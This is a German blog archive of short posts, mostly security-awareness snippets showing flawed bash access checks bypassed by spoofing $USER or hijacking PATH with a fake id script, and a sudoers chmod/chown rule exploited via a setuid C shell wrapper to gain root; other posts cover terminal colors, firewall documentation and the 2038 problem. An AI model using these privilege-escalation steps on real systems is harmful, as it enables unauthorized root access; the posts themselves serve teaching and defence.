Archive for the ‘wissen’ Category
Tim schlug hier vor, im Vorpost etwas anderes zur Authentifizierung als $USER zu nutzen: id. Auch das ist unsicher, wenn man es falsch macht. Ich benutze hier einfach mal die UIDs statt der Usernamen. Der folgende Code wäre dann die id-Variante, wer findet das Sicherheitsproblem? 
#!/bin/bash
if [ "$(id -u)" != "1001" ] && [ "$(id -u)" != "1002" ]
then
echo "Zugriff verweigert."
else
echo OK
[...]
echo "$(date) Domain $1 gelöscht durch $USER" >> /var/log/domainlog
fi
Umgehen kann man es jedoch wieder trivial, man erstelle ~/id:
[stefan@srv2342 ~]$ sh authme.sh
Zugriff verweigert.
[stefan@srv2342 ~]$ echo "echo 1001" > ~/id
[stefan@srv2342 ~]$ chmod +x ~/id
[stefan@srv2342 ~]$ PATH=".:$PATH" sh authme.sh
OK
[stefan@srv2342 ~]$
Wir haben hier PATH so geändert, dass zuerst im aktuellen Pfad nach id Datei gesucht wird – die Datei haben wir grade angelegt und sie gibt aus, was das Script als Antwort sehen möchte. Whoops! ;D
Um die Security awareness etwas zu erhöhen, habe ich überlegt, noch ein paar witzige Schnippsel zu posten! Vielleicht entdeckt ja jemand auch etwas, das er selbst mal gemacht hat!
Hier folgt nun ein sinngemäßer Auszug aus einem Script, das bei einem ISP sehr kritische Aktionen für Domains ausführt:
#!/bin/bash
if [ "$USER" != "franz" ] && [ "$USER" != "karl" ]
then
echo "Zugriff verweigert."
else
[...]
echo "$(date) Domain $1 gelöscht durch $USER" >> /var/log/domainlog
fi
Wichtig ist hier vor allem das Audit Log. Umgehen kann man es jedoch trivial:
USER=franz ./domain-delete.sh [domain]
Leider bedachte der Programmierer nicht, dass $USER natürlich trivial von jedem Shelluser geändert werden kann. Das Audit-Log würde ggfs. sehr unerfreuliche Folgen haben.
Bessere Lösung: sudo benutzen und nur den zwei Usern, die es wirklich benötigen, Rechte auf das Script gewähren.
Auf einem Webserver fand ich kürzlich eine sudoers-Zeile, die einem User erlaubte, chmod und chown für ein bestimmtes Verzeichnis (/foo) auszuführen. Sowas sollte man tunlichst vermeiden.
user@srv2342: ~> id
uid=1007(user) gid=100(users) groups=16(dialout),33(video),100(users)
Ich brauche zuerst ein kleines C-Tool:
user@srv2342: ~> cat > /foo/y.c
#include
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
STRG-D
Compilieren:
user@srv2342:/foo> cd /foo; gcc y.c -o y
Jetzt machen wir sudo-magic und erhalten ein SetUID-Bit:
user@srv2342:/foo> sudo /bin/chown 0:0 /foo/y
user@srv2342:/foo> sudo /bin/chmod 4775 /foo/y
user@srv2342:/foo ls -l
total 16
-rwsrwxr-x 1 root root 9217 Mar 26 14:52 y
-rw-r----- 1 user users 101 Mar 26 14:51 y.c
Root werden:
user@srv2342:/foo> ./y
srv2342:/foo # id
uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
Owned!
Wer ein bisschen Farbe in sein Shellscript bringen möchte, dem könnte folgender Codeschnippsel behilflich sein. Einfach in ein Terminal kopieren, schon erhält man eine komplette Farbtabelle mit entsprechenden Farbcodes:
#/bin/sh
# Show all the colors of the rainbow, should be run under bash
for STYLE in 0 1 2 3 4 5 6 7; do
for FG in 30 31 32 33 34 35 36 37; do
for BG in 40 41 42 43 44 45 46 47; do
CTRL="\033[${STYLE};${FG};${BG}m"
echo -en "${CTRL}"
echo -n "${STYLE};${FG};${BG}"
echo -en "\033[0m"
done
echo
done
echo
done
# Reset
echo -e "\033[0m"
Nutzen lässt sich z.B: die Farbe grün (Code 32) mit fetter Schrift (Code 1) wie folgt:
echo -e "\e[1;32mGREEN\033[0m"
Anschließend wird die Terminalfarbe mit der Code Kombination \033[0m wieder auf die Standardfarben resettet.
Nachrichten lesen am heimischen Computer – damals noch keine große Konkurrenz für die Zeitungsverlage…
Ich frage mich, wie ihr eure Firewallregeln in Firmenfirewalls verwaltet und sichert – wer iptables oder eine darauf basierende Lösung besitzt, wird wohl einfach automatisch oder eventbasiert Backups machen oder die Regeln in ein Repo einchecken – doch was machen die armen Admins, die mit proprietärer Hardware zu tun haben? Mir fallen spontan folgende 5 Punkte ein:
- Programmieren einer Schnittstelle, die die Regeln ausliest und in ein Repo eincheckt
- Automatische Backups durch die Firewall erzeugen lassen (oftmals per Mail möglich) und einchecken in ein Repo
- Eingeben der Firewallregeln in ein Dokumentationssystem
- Eingeben der Firewallregeln in ein System, welches die Regeln dann auf der Firewall anlegt
- Keine Dokumentation
Mich würde interessieren, wie ihr hier vorgeht? Z.B. für eine Zertifizierung nach dem IT-Grundschutzhandbuch sind solche organisatorischen Dinge nicht ganz unwichtig.
Tobias hat in seinem Beitrag vier interessante Landkarten zur Internetzensur vorgestellt. Die Landkarten stellen die folgenden Punkte dar: Politische Zensur, Eingeschränkte Nutzung von Internet-Tools, Einschränkung sozialer Themen sowie Konflikte und Sicherheitsrisiken.
Alle Landkarten stammen von der OpenNet Initiative. Auf wie vielen Landkarten Deutschland wohl in einigen Jahren gelistet sein wird?
Das Ende der UNIX Epoche? Treffender wäre wohl die Umschreibung: Das Jahr 2038 Problem. Viele mögen sich wohl noch an die Ängste vor dem Jahr 2000 Problem erinnern. Viel wichtiger ist aber das Jahr 2038, da hier der POSIX Zeitstandard an seine Grenzen gerät. Doch vorerst eine kurze Erläuterung zur UNIX Zeit.
Die UNIX Zeit zählt die vergangenen Sekunden seit dem 1. Januar 1970, 00:00:00 Uhr. Dieses Startdatum nennt sich “The Epoch”. Für uns Menschen lässt sich aus der Zahl 2.147.483.647 wenig deuten, ein Computer kann hiermit aber sehr gut umgehen. So sind Umrechnungen oder Addition bzw. Subtraktion von einfachen Zahlen für eine Maschine schnell getan. Wollen wir uns einen Timestring unter Linux umrechnen lassen, geht dies ganz einfach:
date -d @2147483647
Tue Jan 19 04:14:07 CET 2038
Gehen wir nun nur eine Sekunde weiter, passiert aber folgendes:
date -d @2147483648
date: invalid date `@2147483648'
Hier sind die Grenzen der UNIX Epoche erreicht. Warum? 2³¹ = 2.147.483.647 – jede größere Zahl erzeugt einen Pufferüberlauf. Der UNIX Timestamp wird in der 32 Bit großen time_t Variable gespeichert, wobei das 32te Bit jedoch für die Unterscheidung von positiven und negativen Werten dient. Somit lässt sich auch ein Datum vor 1970 bestimmen. Älter als vom 13. Dezember 1901, 20:45:52 Uhr sollten eure digitalen Daten dann jedoch nicht sein, ansonsten droht wieder ein Pufferüberlauf.
Und was kann man dagegen tun? Keine Sorge – eine Lösung ist bereits ausgearbeitet. Da 32 Bit nicht reichen, wechselt man einfach zu 64 Bit. Die 64 Bit Varianten von Linux Distributionen können bereits mit 64 Bit time_t umgehen, wobei es jedoch Probleme mit starren 32 Bit Zeitvariablen in einigen Programmen geben kann. Bei diesen gilt es innerhalb der nächsten 30 Jahre den Adressraum zu vergrößern. Mit 64 Bit haben wir dann erstmal wieder 290 Milliarden Jahre Ruhe. Glück gehabt!
Links:
Unixzeit
The Year 2038 Problem
2038bug.com
time_t
